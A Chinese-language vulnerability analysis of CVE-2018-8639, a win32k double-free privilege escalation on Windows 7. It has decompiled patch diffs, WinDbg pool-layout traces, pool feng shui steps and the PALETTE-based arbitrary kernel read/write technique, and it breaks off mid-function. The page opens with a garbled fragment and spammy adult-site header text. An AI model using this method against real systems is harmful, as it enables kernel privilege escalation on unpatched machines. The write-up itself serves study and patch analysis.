lpszMenuName,而是直接克隆tagCLS結構指向源tagCLS>lpszMenuName地址,導致doublefree" />

压在透明的玻璃上c-国产精品国产一级A片精品免费-国产精品视频网-成人黄网站18秘 免费看|www.tcsft.com

CVE-2018-8639分析與復現

這個漏洞屬于未正確處理窗口類成員對象導致的Double-free類型本地權限提升漏洞

復現環境

  1. Windows 7 sp1 64位操作系統
  2. 編譯環境Visual Studio 2013

引用

原poc

看雪分析

Poc 成因分析

漏洞的成因是調用CreateWindowA函數創建窗口的過程中,接著調用ReferenceClass克隆tagCLS結構時,未另分配分頁pool內存保存重新創建的tagCLS->lpszMenuName,而是直接克隆tagCLS結構指向源tagCLS>lpszMenuName地址,導致doublefree,
我們先來看CreateWindowA函數對于tagCLS結構的克隆操作部分:

unsigned __int16 *xxxCreateWindowEx(unsigned int a1, const __m128i *a2, __int64 a3, const __m128i *a4, ...)
{

 ....
  while ( 1 )
  {
    if ( v4 & 0xFFFFFFFFFFFF0000ui64 )
    {
      v17 = UserFindAtom(*(_QWORD *)(v4 + 8));
      LOWORD(v347) = v17;
    }
    else
    {
      v17 = v4;
      LOWORD(v347) = v4;
    }
    if ( v17 )
    {
         //從當前線程ptiCurrent->ppi也就是tagPROCESSINFO中獲取tagCLS結構對象
      pclsFrom = (tagCLS **)GetClassPtr(v17, (__int64)ptiCurrent->ppi, (__int64)v413);
      if ( pclsFrom )
        break;
    }
LABEL_775:
    if ( v9
      || _bittest((const signed __int32 *)(*(_QWORD *)(*(_QWORD *)&gptiCurrent + 344i64) + 12i64), 0xDu)
      || (!((unsigned __int64)v5 & 0xFFFFFFFFFFFF0000ui64) ? (v342 = (wchar_t *)v5) : (v342 = (wchar_t *)v5->m128i_i64[1]),
          !(unsigned int)RegisterDefaultClass(v342)) )
    {
      UserSetLastError(1407);
      return 0i64;
    }
    v9 = 1;
  }
  pcls = *pclsFrom;
  v20 = 0;
  v21 = v403;
  if ( v403 & 1 )
    goto LABEL_785;
  if ( _bittest((const signed int *)&v21, 0x11u) )
    goto LABEL_786;
  v22 = v405;
  if ( _bittest(&v22, 0x12u) )
    goto LABEL_785;
  if ( (v405 & 0xC00000) == 0x400000 )
  {
    v20 = 1;
  }
  else if ( (v405 & 0xC00000) == 12582912 )
  {
    LOBYTE(v20) = (unsigned __int16)v415 >= 0x400u;
  }
  if ( v20 )
LABEL_785:
    v403 |= 0x100u;
  else
LABEL_786:
    v403 &= 0xFFFFFEFF;
  v23 = pcls->cbwndExtra + 296;
  if ( pcls->cbwndExtra >= 0xFFFFFED8 )
  {
    UserSetLastError(87);
    return 0i64;
  }
  v387 = pcls->cbwndExtra + 296;
  pwnd = (tagWND *)HMAllocObject(v346, v11, 1u, v23);
  v25 = pwnd;
  v366 = pwnd;
  if ( !pwnd )
    return 0i64;
  pwnd->pcls = pcls;
  pwnd->style = v405 & 0xEFFFFFFF;
  pwnd->ExStyle = v403 & 0xFDF7FFFF;
  pwnd->cbwndExtra = pcls->cbwndExtra;
  //調用ReferenceClass克隆tagCLS結構
  if ( !(unsigned int)ReferenceClass(pcls, pwnd) )
  {
    HMFreeObject(v25);
    v11 = v361;
    ptiCurrent = (tagTHREADINFO *)v346;
    goto LABEL_775;
  }
...

ReferenceClass是造成漏洞最關鍵的函數,現在來分析補丁更新前后函數的變化來了解漏洞的成因,補丁對比如下
更新前:

__int64 __fastcall ReferenceClass(tagCLS *Src, tagWND *pwnd)
{
  tagDESKTOP *hheapDesktop; // rbx
  tagWND *pwndRef; // r12
  tagCLS *srcRef; // rbp
  tagCLS *pclsClone; // rsi
  unsigned __int64 cbName; // kr08_8
  char *lpszAnsiClassNameAlloced; // rax
  tagCLS *v9; // rdx
  char *lpszAnsiClassNameREf; // rdx

  hheapDesktop = pwnd->head.rpdesk;
  pwndRef = pwnd;
  srcRef = Src;
  if ( Src->rpdeskParent != hheapDesktop )
  {
    pclsClone = Src->pclsClone;
    if ( !pclsClone )
      goto LABEL_18;
    do
    {
      if ( pclsClone->rpdeskParent == hheapDesktop )
        break;
      pclsClone = pclsClone->pclsNext;
    }
    while ( pclsClone );
    if ( !pclsClone )
    {
LABEL_18:
      //分配克隆對象內存
      pclsClone = (tagCLS *)ClassAlloc((__int64)hheapDesktop, (Src->CSF_flags & 8u) + Src->cbclsExtra + 160);
      if ( !pclsClone )
        return 0i64;
      //直接克隆tagCLS結構導致克隆后的對象pclsClone>lpszMenuName指向源tagCLS>lpszMenuName地址
      memmove(pclsClone, srcRef, (srcRef->CSF_flags & 8) + (signed __int64)srcRef->cbclsExtra + 160);
      cbName = strlen(srcRef->lpszAnsiClassName) + 1;
      lpszAnsiClassNameAlloced = (char *)ClassAlloc((__int64)hheapDesktop, cbName);
      pclsClone->lpszAnsiClassName = lpszAnsiClassNameAlloced;
      if ( !lpszAnsiClassNameAlloced )
      {
        if ( hheapDesktop )
          RtlFreeHeap(hheapDesktop->pheapDesktop, 0i64, pclsClone);
        else
          ExFreePoolWithTag(pclsClone, 0);
        return 0i64;
      }
      pclsClone->rpdeskParent = 0i64;
      LockObjectAssignment((void **)&pclsClone->rpdeskParent, hheapDesktop);
      v9 = srcRef->pclsClone;
      pclsClone->pclsClone = 0i64;
      pclsClone->pclsNext = v9;
      lpszAnsiClassNameREf = srcRef->lpszAnsiClassName;
      srcRef->pclsClone = pclsClone;
      memmove(pclsClone->lpszAnsiClassName, lpszAnsiClassNameREf, (unsigned int)cbName);
      pclsClone->spcur = 0i64;
      pclsClone->spicnSm = 0i64;
      pclsClone->spicn = 0i64;
      HMAssignmentLock((unsigned __int16 **)&pclsClone->spicn, (unsigned __int16 *)srcRef->spicn);
      HMAssignmentLock((unsigned __int16 **)&pclsClone->spicnSm, (unsigned __int16 *)srcRef->spicnSm);
      HMAssignmentLock((unsigned __int16 **)&pclsClone->spcur, (unsigned __int16 *)srcRef->spcur);
      pclsClone->spcpdFirst = 0i64;
      pclsClone->cWndReferenceCount = 0;
    }
    ++srcRef->cWndReferenceCount;
    ++pclsClone->cWndReferenceCount;
    pwndRef->pcls = pclsClone;
    return 1i64;
  }
  ++Src->cWndReferenceCount;
  return 1i64;
}

更新后

__int64 __fastcall ReferenceClass(tagCLS *Src, tagWND *pwnd)
{
  tagDESKTOP *hheapDesktop; // rbx
  tagWND *pwndRef; // r12
  tagCLS *srcRef; // rbp
  tagCLS *pclsClone; // rsi
  unsigned __int64 cbName; // kr08_8
  __int64 lpszAnsiClassNameAlloced; // rax
  unsigned __int16 *lpszMenuNameRef; // rdi
  signed __int64 menuSizeIndex; // rcx
  bool v11; // zf
  unsigned int menuSizeIndexRet; // edi
  unsigned __int16 *lpszMenuNameCopy; // rax
  tagCLS *v14; // rdx
  char *v15; // rdx
  unsigned __int64 v16; // rcx
  unsigned int v17; // [rsp+40h] [rbp+8h]

  hheapDesktop = pwnd->head.rpdesk;
  pwndRef = pwnd;
  srcRef = Src;
  if ( Src->rpdeskParent != hheapDesktop )
  {
    pclsClone = Src->pclsClone;
    if ( !pclsClone )
      goto LABEL_25;
    do
    {
      if ( pclsClone->rpdeskParent == hheapDesktop )
        break;
      pclsClone = pclsClone->pclsNext;
    }
    while ( pclsClone );
    if ( !pclsClone )
    {
LABEL_25:
      //分配內存
      pclsClone = (tagCLS *)ClassAlloc((__int64)hheapDesktop, (Src->CSF_flags & 8u) + Src->cbclsExtra + 160);
      if ( !pclsClone )
        return 0i64;
        //克隆對象
      memmove(pclsClone, srcRef, (srcRef->CSF_flags & 8) + (signed __int64)srcRef->cbclsExtra + 160);
      cbName = strlen(srcRef->lpszAnsiClassName) + 1;
      lpszAnsiClassNameAlloced = ClassAlloc((__int64)hheapDesktop, cbName);
      pclsClone->lpszAnsiClassName = (char *)lpszAnsiClassNameAlloced;
      if ( !lpszAnsiClassNameAlloced )
      {
LABEL_10:
        ClassFree((__int64)hheapDesktop, pclsClone);
        return 0i64;
      }
      lpszMenuNameRef = srcRef->lpszMenuName;
      if ( (unsigned __int64)lpszMenuNameRef & 0xFFFFFFFFFFFF0000ui64 )
      {
        menuSizeIndex = -1i64;
        do
        {
          if ( !menuSizeIndex )
            break;
            //如果遇到字符串終止就結束循環
          v11 = *lpszMenuNameRef == 0;
          //menu字符串長度
          ++lpszMenuNameRef;
          --menuSizeIndex;
        }
        while ( !v11 );
        menuSizeIndexRet = 2 * ~(_DWORD)menuSizeIndex;
        //這里為lpszMenuNameCopy重新申請了內存
        lpszMenuNameCopy = (unsigned __int16 *)ExAllocatePoolWithQuotaTag((POOL_TYPE)41, menuSizeIndexRet, 0x78747355u);
        pclsClone->lpszMenuName = lpszMenuNameCopy;
        if ( !lpszMenuNameCopy )
        {
          ClassFree((__int64)hheapDesktop, pclsClone->lpszAnsiClassName);
          goto LABEL_10;
        }
      }
      else
      {
        menuSizeIndexRet = v17;
      }
      pclsClone->rpdeskParent = 0i64;
      LockObjectAssignment(&pclsClone->rpdeskParent, hheapDesktop);
      v14 = srcRef->pclsClone;
      pclsClone->pclsClone = 0i64;
      pclsClone->pclsNext = v14;
      v15 = srcRef->lpszAnsiClassName;
      srcRef->pclsClone = pclsClone;
      memmove(pclsClone->lpszAnsiClassName, v15, (unsigned int)cbName);
      v16 = (unsigned __int64)pclsClone->lpszMenuName;
      if ( v16 & 0xFFFFFFFFFFFF0000ui64 )
        memmove((void *)v16, srcRef->lpszMenuName, menuSizeIndexRet);
      pclsClone->spcur = 0i64;
      pclsClone->spicnSm = 0i64;
      pclsClone->spicn = 0i64;
      HMAssignmentLock(&pclsClone->spicn, srcRef->spicn);
      HMAssignmentLock(&pclsClone->spicnSm, srcRef->spicnSm);
      HMAssignmentLock(&pclsClone->spcur, srcRef->spcur);
      pclsClone->spcpdFirst = 0i64;
      pclsClone->cWndReferenceCount = 0;
    }
    ++srcRef->cWndReferenceCount;
    ++pclsClone->cWndReferenceCount;
    pwndRef->pcls = pclsClone;
    return 1i64;
  }
  ++Src->cWndReferenceCount;
  return 1i64;
}

可見更新后為克隆tagCLS結構的lpszMenuName重新申請了重新申請了pool內存,在調用DestroyWindow和NtUserUnregisterClass釋放tagCLS結構時,導致每次釋放釋放的都是是新申請的內存,修復了Double-free問題.

其實這個lpszMenuName對象在調用SetClassLongPtrA函數時已經被被釋放和重新申請了一次,而在ReferenceClass克隆tagCLS結構指向的還是原來的lpszMenuName對象,結構又被釋放了一次.下面通過分析代碼來解釋釋放過程.

__int64 __fastcall NtUserSetClassLongPtr(tagWND *a1, unsigned int nidx, __int64 *dwNewLong, unsigned int true)
{
    if ( nidxRef == -26 )
    {
      .....
    }
    else if ( nidxRef == -8 )
    {
      // 就是poc中的GCLP_MENUNAME類型
      v20 = dwNewLongRef;
      v11 = dwNewLongRef;
      if ( dwNewLongRef >= W32UserProbeAddress )
        v11 = (__int64 *)W32UserProbeAddress;
      v17 = *v11;
      v18 = v11[1];
      v19 = (__m128i *)v11[2];
      v12 = v19;
      if ( v19 >= W32UserProbeAddress )
        v12 = (const __m128i *)W32UserProbeAddress;
      _mm_storeu_si128(&v16, _mm_loadu_si128(v12));
      v13 = v16.m128i_u64[1];
      if ( v16.m128i_i64[1] & 0xFFFFFFFFFFFF0000ui64 )
      {
        if ( v16.m128i_i8[8] & 1 )
          ExRaiseDatatypeMisalignment();
        v14 = v16.m128i_u16[0] + v13 + 2;
        if ( v14 >= (unsigned __int64)W32UserProbeAddress
          || (unsigned __int16)v16.m128i_i16[0] > v16.m128i_i16[1]
          || v14 <= v13 )
        {
          *(_BYTE *)W32UserProbeAddress = 0;
        }
      }
      v19 = &v16;
       //調用xxxSetClassLongPtr
      v10 = xxxSetClassLongPtr(v9, -8, (__int64)&v17, v4);
      if ( dwNewLongRef >= W32UserProbeAddress )
        dwNewLongRef = (__int64 *)W32UserProbeAddress;
      *dwNewLongRef = v17;
      dwNewLongRef[1] = v18;
      dwNewLongRef[2] = (__int64)v19;
      goto LABEL_21;
    }
    //調用xxxSetClassLongPtr
    v10 = xxxSetClassLongPtr(v9, nidxRef, (__int64)dwNewLongRef, v4);

.
}

//xxxSetClassLongPtr接著會調用xxxSetClassData這里略過..
__int64 __fastcall xxxSetClassData(tagWND *pwnd, int nidx, unsigned __int64 dwData, unsigned int bAnsi)
{
    ....
    switch ( nidx )
  {
       // 就是poc中的GCLP_MENUNAME類型
      case -8:
      lpszMenuNameRef = pCls->lpszMenuName;
      DataFrom = dwData[2];
      buffCheck = DataFrom->Buffer;
      if ( !((unsigned __int64)buffCheck & 0xFFFFFFFFFFFF0000ui64) )
      {
        pCls->lpszMenuName = buffCheck;
        goto Free_MenuName;
      }
      // 重新申請MenuName內存
      RtlInitUnicodeString(&DestinationString, DataFrom->Buffer);
      if ( !DestinationString.Length )
      {
        pCls->lpszMenuName = 0i64;
Free_MenuName:
        *(_QWORD *)&v5[1].Length = 0i64;
        if ( (unsigned __int64)lpszMenuNameRef & 0xFFFFFFFFFFFF0000ui64 )
          // 這里釋放lpszMenuName
          ExFreePoolWithTag(lpszMenuNameRef, 0);
        dwOld = pCls->lpszClientAnsiMenuName;
        pCls->lpszClientAnsiMenuName = *(char **)&v5->Length;
        *(_QWORD *)&v5->Length = dwOld;
        OldClientUnicodeMenuName = (char *)pCls->lpszClientUnicodeMenuName;
        pCls->lpszClientUnicodeMenuName = v5->Buffer;
        v5->Buffer = (unsigned __int16 *)OldClientUnicodeMenuName;
        if ( v4 )
          OldClientUnicodeMenuName = *(char **)&v5->Length;
        return (__int64)OldClientUnicodeMenuName;
      }
      if ( !(unsigned int)AllocateUnicodeString(&pszMenuNameNew, &DestinationString) )
        return 0i64;
      // 賦值新申請的MenuName
      pCls->lpszMenuName = pszMenuNameNewRet;
      goto Free_MenuName;
  }
  }
  ....
}

此時原pCls->lpszMenuName第一次釋放,在poc中調用NtGdiSetLinkedUFIs占位釋放的內存.

接著調用DestroyWindow第二次釋放對象,以NtUserDestroyWindow->xxxDestroyWindow-> xxxFreeWindow->DereferenceClass->DestroyClass的順序最后釋放克隆的pCls對象

接著調用NtUserUnregisterClass->UnregisterClass->DestroyClass順序釋放原pCls對象,原pCls->lpszMenuName和克隆的pCls->lpszMenuName指向的是同一內存區域,所以肯定會被釋放,是否3次釋放??

 

池風水布局調試分析

在poc中先申請了10000個100大小的AcceleratorTable(以下簡稱acc),然后釋放前3000個,并創建3000個e00大小的acc,部分e00和2個100的acc會占滿一頁,然后再釋放1500個100的acc和創建1500個200大小acc,這樣原釋放100和新創建的200會填滿池空隙,有些e00和200的acc會占滿一頁,也存在e00和2個100的acc占滿一頁情況,又由于e00的acc數量大于200的acc,會出現大量的e00和200大小free的頁面空洞,用于放置poc中要創建的lpszMenuName,最后又把最后4000個100的acc釋放,導致更多相同空洞出現.效果如下圖:

下面我們來看下poc運行過程內核對象池風水的實際布局情況,具體過程如圖:

查看大圖

對于這個漏洞關鍵對象pCls->lpszMenuName內核地址獲取可以通過以下方式查看:

bp win32k!ReferenceClass+0x6b “p;”

也就是ReferenceClass函數中其中

pclsClone = (tagCLS *)ClassAlloc((__int64)hheapDesktop, (Src->CSF_flags & 8u) + Src->cbclsExtra + 160)這行代碼,采用調試腳本如下:

r;
r $t0=rax;
.printf"t0=%pn",@$t0;
//這里pCls->lpszMenuName=0x88偏移量
gu;r $t1=poi(@$t0+88);
.printf"t1=%pn",@$t1;
!pool @$t1;

poc運行流程順序如圖:

查看大圖

來看具體windbg調試過程:

在執行完這行代碼后
hWndCloneCls = CreateWindowA("WNDCLASSMAIN", "CVE", WS_DISABLED, 0, 0, 0, 0, nullptr, nullptr, hInst, nullptr);
//在win32k!ReferenceClass函數觸發斷點,此時我們查看pool的分配情況
kd> bp win32k!ReferenceClass+0x6b "p;"
WARNING: Software breakpoints on session addresses can cause bugchecks.
Use hardware execution breakpoints (ba e) if possible.
kd> bl
 0 e fffff960`0012fcab     0001 (0001) win32k!ReferenceClass+0x6b "p;"

kd> g
win32k!ReferenceClass+0x70:
fffff960`0012fcb0 488bf0          mov     rsi,rax
//運行調試腳本
kd> $$<"C:dbgpool.txt"
kd> r;
rax=fffff900c3c013d0 rbx=fffffa80042b6f20 rcx=fffff900c3c01470
rdx=0000000000000000 rsi=0000000000000000 rdi=fffff900c0c4ccc0
rip=fffff9600012fcb0 rsp=fffff88004de2670 rbp=fffff900c0c4ccc0
 r8=0000000000000000  r9=0000000000000000 r10=00000000000000fe
r11=fffff88004de2610 r12=fffff900c3c012a0 r13=fffff88004de0000
r14=0000000000000000 r15=fffff88004de29a8
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286
win32k!ReferenceClass+0x70:
fffff960`0012fcb0 488bf0          mov     rsi,rax
kd> r $t0=rax;
kd> .printf"t0=%pn",@$t0;
t0=fffff900c3c013d0
kd> gu;r $t1=poi(@$t0+88);
kd> .printf"t1=%pn",@$t1;
t1=fffff900c566de20
kd> !pool @$t1;
Pool page fffff900c566de20 region is Paged session pool
//AcceleratorTable占用了e00空間
 fffff900c566d000 size:  e00 previous size:    0  (Allocated)  Usac Process: fffffa8001b80970
 fffff900c566de00 size:   10 previous size:  e00  (Free)       ....
 //lpszMenuName分配了 1f0大小的空間
*fffff900c566de10 size:  1f0 previous size:   10  (Allocated) *Ustx Process: fffffa8001b80970
        Pooltag Ustx : USERTAG_TEXT, Binary : win32k!NtUserDrawCaptionTemp
//在執行完這行代碼后
SetClassLongPtrA(hWndCloneCls, GCLP_MENUNAME, (LONG64)NewMenuName);
kd> !pool @$t1;
Pool page fffff900c566de20 region is Paged session pool
 fffff900c566d000 size:  e00 previous size:    0  (Allocated)  Usac Process: fffffa8001b80970
 //1f0和10釋放后合并變成200大小free空間
*fffff900c566de00 size:  200 previous size:  e00  (Free)      *....
        Owning component : Unknown (update pooltag.txt)
//在執行完這行代碼后
NtGdiSetLinkedUFIs(hDC_Writer[i], flag, 0x3b);
kd> !pool @$t1;
Pool page fffff900c566de20 region is Paged session pool
 fffff900c566d000 size:  e00 previous size:    0  (Allocated)  Usac Process: fffffa8001b80970
 fffff900c566de00 size:   10 previous size:  e00  (Free)       ....
//1f0空間被hDC_Writer占位 
*fffff900c566de10 size:  1f0 previous size:   10  (Allocated) *Gadd
        Pooltag Gadd : GDITAG_DC_FONT, Binary : win32k.sys
//在執行完這行代碼后
DestroyWindow(hWndCloneCls);
NtUserUnregisterClass(pClassName, hInst, &a);
kd> !pool @$t1;
Pool page fffff900c566de20 region is Paged session pool
 fffff900c566d000 size:  e00 previous size:    0  (Allocated)  Usac Process: fffffa8001b80970
 //80+180空間為free狀態
*fffff900c566de00 size:   80 previous size:  e00  (Free)      *....
      Owning component : Unknown (update pooltag.txt)
  //GTmp怎么來的是不是DestroyWindow后又在NtUserUnregisterClass過程中產生的?
 fffff900c566de80 size:  180 previous size:   80  (Free )  GTmp
 //在執行完這行代碼后
 hPalettes[i] = CreatePalette(lPalette);
 kd> !pool @$t1;
Pool page fffff900c566de20 region is Paged session pool
 fffff900c566d000 size:  d10 previous size:    0  (Allocated)  Usac Process: fffffa8001b80970
 fffff900c566dd10 size:   f0 previous size:  d10  (Free)       ....
 //已被PALETTE占位,HDC對象數據對準了PALETTE +0x10處正好是要修改PALETTE大小
*fffff900c566de00 size:  100 previous size:   f0  (Allocated) *Gh28
        Pooltag Gh28 : GDITAG_HMGR_SPRITE_TYPE, Binary : win32k.sys
 fffff900c566df00 size:  100 previous size:  100  (Allocated)  Gh28

筆者借鑒CVE-2018-8453布局思路,測試了一種新的布局方式,先申請創建4000個C10大小的塊,位于堆頂部,然后創建4000個200大小的塊,位于堆底部,這樣就在堆中間留出了1F0大小的空隙,再創建5000個1F0大小的小塊,把池堆中的空隙填滿,然后每間隔2個1F0大小釋放其中一個,這樣就在堆中留出大量1F0大小的空隙用于放置lpszMenuName,這樣正好把空隙控制在1F0大小,200大小的塊不會覆蓋1F0大小的塊也填滿了1F0之前的空隙使其剩余空隙保留在小于200大小,不會影響之后的GDI和PALETTE也不會跑到這些空隙去,第一次釋放用GDI占位,第二次釋放先釋放C10用C00占位,然后創建2w個100大小PALETTE,填充二次釋放區域,經測試布局成功率大于90%,池風水布局后如圖:

查看大圖

//在用戶態創建4000200大小的塊下斷點
//AcceleratorTable泄露內核地址計算公式為(SHAREDINFO->aheList+sizeOf(HANDLEENTRY)*(AcceleratorTabl句柄&0xffff))
0:000> dq CVE_2018_8639_EXP!hAccel_0x200_bottom
00000001`3fe1b940  00000000`003528f1 00000000`003d00f3
00000001`3fe1b950  00000000`003c01f1 00000000`0012098f
00000001`3fe1b960  00000000`00100991 00000000`000c097b
00000001`3fe1b970  00000000`00090973 00000000`000b00ef
00000001`3fe1b980  00000000`001201fb 00000000`00090981
00000001`3fe1b990  00000000`00190069 00000000`000b09c1
00000001`3fe1b9a0  00000000`0009099b 00000000`00070999
00000001`3fe1b9b0  00000000`0008097d 00000000`000809ad
//看最后一個
0:000> dq poi(user32!gSharedInfo+8)+18h*(00000000`000809ad&0xffff)
00000000`004ee838  fffff900`c5c15e10 fffff900`c26f3460
00000000`004ee848  00000000`00080008 fffff900`c5caac20
//在內核態
kd> !pool  fffff900`c5c15e10
Pool page fffff900c5c15e10 region is Paged session pool
 fffff900c5c15000 size:  c10 previous size:    0  (Allocated)  Usac Process: fffffa8001a65520
 fffff900c5c15c10 size:  1f0 previous size:  c10  (Allocated)  Usac Process: fffffa8001a65520
*fffff900c5c15e00 size:  200 previous size:  1f0  (Allocated) *Usac Process: fffffa8001a65520
        Pooltag Usac : USERTAG_ACCEL, Binary : win32k!_CreateAcceleratorTable
//在執行完這行代碼后
hWndCloneCls = CreateWindowA("WNDCLASSMAIN", "CVE", WS_DISABLED, 0, 0, 0, 0, nullptr, nullptr, hInst, nullptr);
//在win32k!ReferenceClass函數觸發斷點,此時我們查看pool的分配情況
kd> bp win32k!ReferenceClass+0x6b "p;"
WARNING: Software breakpoints on session addresses can cause bugchecks.
Use hardware execution breakpoints (ba e) if possible.
kd> g
win32k!ReferenceClass+0x70:
fffff960`0012fcb0 488bf0          mov     rsi,rax
*** WARNING: Unable to verify checksum for CVE-2018-8639-EXP.exe
*** ERROR: Module load completed but symbols could not be loaded for CVE-2018-8639-EXP.exe
*** ERROR: Symbol file could not be found.  Defaulted to export symbols for kernel32.dll - 
kd> $$<"C:dbgpool.txt"
kd> r;
rax=fffff900c3803f90 rbx=fffffa800485e760 rcx=fffff900c3804030
rdx=0000000000000000 rsi=0000000000000000 rdi=fffff900c082beb0
rip=fffff9600012fcb0 rsp=fffff880037e0670 rbp=fffff900c082beb0
 r8=0000000000000000  r9=0000000000000000 r10=0000000000000010
r11=fffff880037e0610 r12=fffff900c3803e60 r13=fffff880037e0000
r14=0000000000000000 r15=fffff880037e09a8
iopl=0         nv up ei ng nz na po nc
cs=0010  ss=0018  ds=002b  es=002b  fs=0053  gs=002b             efl=00000286
win32k!ReferenceClass+0x70:
fffff960`0012fcb0 488bf0          mov     rsi,rax
kd> r $t0=@rax;
kd> .printf"t0=%pn",@$t0;
t0=fffff900c3803f90
kd> gu;r $t1=poi(@$t0+88);
WARNING: Software breakpoints on session addresses can cause bugchecks.
Use hardware execution breakpoints (ba e) if possible.
kd> .printf"t1=%pn",@$t1;
t1=fffff900c3371c20
kd> !pool @$t1;
Pool page fffff900c3371c20 region is Paged session pool
 fffff900c3371000 size:  c10 previous size:    0  (Allocated)  Usac Process: fffffa8001a65520
 //lpszMenuName分配了 1f0大小的空間
*fffff900c3371c10 size:  1f0 previous size:  c10  (Allocated) *Ustx Process: fffffa8001a65520
        Pooltag Ustx : USERTAG_TEXT, Binary : win32k!NtUserDrawCaptionTemp
 fffff900c3371e00 size:  200 previous size:  1f0  (Allocated)  Usac Process: fffffa8001a65520
//在執行完這行代碼后
SetClassLongPtrA(hWndCloneCls, GCLP_MENUNAME, (LONG64)NewMenuName);
kd> !pool @$t1;
Pool page fffff900c3371c20 region is Paged session pool
 fffff900c3371000 size:  c10 previous size:    0  (Allocated)  Usac Process: fffffa8001a65520
*fffff900c3371c10 size:  1f0 previous size:  c10  (Free)      *Ustx
        Pooltag Ustx : USERTAG_TEXT, Binary : win32k!NtUserDrawCaptionTemp
 fffff900c3371e00 size:  200 previous size:  1f0  (Allocated)  Usac Process: fffffa8001a65520
//在執行完這行代碼后
NtGdiSetLinkedUFIs(hDC_Writer[i], flag, 0x3b);
kd> !pool @$t1;
Pool page fffff900c3371c20 region is Paged session pool
 fffff900c3371000 size:  c10 previous size:    0  (Allocated)  Usac Process: fffffa8001a65520
 //GDI對象被創建
*fffff900c3371c10 size:  1f0 previous size:  c10  (Allocated) *Gadd
        Pooltag Gadd : GDITAG_DC_FONT, Binary : win32k.sys
 fffff900c3371e00 size:  200 previous size:  1f0  (Allocated)  Usac Process: fffffa8001a65520
//在執行完這行代碼后
DestroyWindow(hWndCloneCls);
NtUserUnregisterClass(pClassName, hInst, &a);
kd> !pool @$t1;
Pool page fffff900c3371c20 region is Paged session pool
 fffff900c3371000 size:  c10 previous size:    0  (Allocated)  Usac Process: fffffa8001a65520
 //GDI對象被被釋放
*fffff900c3371c10 size:  1f0 previous size:  c10  (Free)      *Gadd
        Pooltag Gadd : GDITAG_DC_FONT, Binary : win32k.sys
 fffff900c3371e00 size:  200 previous size:  1f0  (Allocated)  Usac Process: fffffa8001a65520
 //在執行完這行代碼后
DestroyAcceleratorTable(hAccel_0xC10_top[i]);
kd> !pool @$t1;
Pool page fffff900c3371c20 region is Paged session pool
//hAccel_0xC10_top被釋放
*fffff900c3371000 size:  e00 previous size:    0  (Free)      *Usac
        Pooltag Usac : USERTAG_ACCEL, Binary : win32k!_CreateAcceleratorTable
 fffff900c3371e00 size:  200 previous size:  e00  (Allocated)  Usac Process: fffffa8001a65520
//在執行完這行代碼后
hAccel_0xC10_top[i] = CreateAcceleratorTableW(lpAccel, 0x1F7);
 kd> !pool @$t1;
Pool page fffff900c3371c20 region is Paged session pool
//hAccel_0xC10_top被重新申請C00大小
 fffff900c3371000 size:  c00 previous size:    0  (Allocated)  Usac Process: fffffa8001a65520
*fffff900c3371c00 size:  200 previous size:  c00  (Free)      *....
        Owning component : Unknown (update pooltag.txt)
 fffff900c3371e00 size:  200 previous size:  200  (Allocated)  Usac Process: fffffa8001a65520
//在執行完這行代碼后
hPalettes[i] = CreatePalette(lPalette);
kd> !pool @$t1;
Pool page fffff900c3371c20 region is Paged session pool
 fffff900c3371000 size:  c00 previous size:    0  (Allocated)  Usac Process: fffffa8001a65520
 //Palette成功占位
*fffff900c3371c00 size:  100 previous size:  c00  (Allocated) *Gh18
        Pooltag Gh18 : GDITAG_HMGR_SPRITE_TYPE, Binary : win32k.sys
 fffff900c3371d00 size:  100 previous size:  100  (Allocated)  Gh18
 fffff900c3371e00 size:  200 previous size:  100  (Allocated)  Usac Process: fffffa8001a65520

整個doublefree占位過程如圖:

查看大圖

之后的利用方式與原poc相同這里略過,下面有詳細解釋

 

漏洞利用調試分析

參考PALETTE濫用這篇文章為exp達到內核內存任意位置讀寫的方式,poc使用NtGdiSetLinkedUFIs函數把寫入的指定HDC對象數據對準了PALETTE +1c也就是PALETTE64->cEntries位置值為0xfff構造了一個越界的PALETTE實現

#pragma pack(push, 4)
struct _PALETTE64
{
  _BYTE BaseObject[24];
  ULONG flPal;  
  ULONG cEntries;//0x1c
  ULONG ulTime;
  ULONG64 hdcHead;
  ULONG64 hSelected;
  ULONG64 cRefhpal;
  ULONG cRefRegular;
  ULONG64 ptransFore;
  ULONG64 ptransCurrent;
  ULONG64 ptransOld;
  ULONG64 unk_038;
  ULONG64 pfnGetNearest;
  ULONG64 pfnGetMatch;
  ULONG64 ulRGBTime;
  ULONG64 pRGBXlate;
  PALETTEENTRY *pFirstColor;;//0x80
  struct _PALETTE *ppalThis;
  PALETTEENTRY apalColors[3];
};
#pragma pack(pop)

NtGdiSetLinkedUFIs主要實現為XDCOBJ::bSetLinkedUFIs內部過程,在x64系統下如果之前未申請內存就新申請內存在對象0x138位置保存了申請內存的地址然后拷貝 8?Count大小內存,如果之前申請過內存就直接拷貝傳入的 8?Count大小內存,這里buf可控,count也可控

signed __int64 __fastcall XDCOBJ::bSetLinkedUFIs(PALETTE64 *this, struct _UNIVERSAL_FONT_ID *buff, unsigned int count)
{
  PALETTE64 *_This; // rbx
  __int64 CountSize; // rdi
  __int64 that; // rax
  struct _UNIVERSAL_FONT_ID *buffRef; // r12
  void *hasData; // rcx
  signed __int64 result; // rax
  PVOID AllocedAddress; // rsi
  unsigned int size; // eax
  size_t sizeRef; // rbp
  PVOID addr; // rax

  _This = this;
  CountSize = count;
  *(_DWORD *)(*(_QWORD *)this->BaseObject + 0x144i64) = cout == 0;
  that = *(_QWORD *)this->BaseObject;
  buffRef = buff;
  hasData = *(void **)(*(_QWORD *)this->BaseObject + 0x138i64);
  // 如果已經申請過內存
  if ( hasData )
  {
    // 位置140保存了對象的大小
    if ( (unsigned int)CountSize <= *(_DWORD *)(that + 0x140) )
    {
      // 拷貝 8 * CountSize大小內存
copy_Memory:
      memmove(*(void **)(*(_QWORD *)_This->BaseObject + 0x138i64), (const void *)buffRef, 8 * CountSize);
      result = 1i64;
      // 位置140重新保存對象的大小
      *(_DWORD *)(*(_QWORD *)_This->BaseObject + 0x140i64) = CountSize;
      return result;
    }
    if ( hasData && hasData != (void *)(that + 0x114) )
    {
      ExFreePoolWithTag(hasData, 0);
      *(_QWORD *)(*(_QWORD *)_This->BaseObject + 0x138i64) = 0i64;
    }
  }
  if ( (unsigned int)CountSize <= 4 )
  {
    *(_QWORD *)(*(_QWORD *)_This->BaseObject + 0x138i64) = *(_QWORD *)_This->BaseObject + 0x114i64;
    goto copy_Memory;
  }
  AllocedAddress = 0i64;
  size = 8 * CountSize;
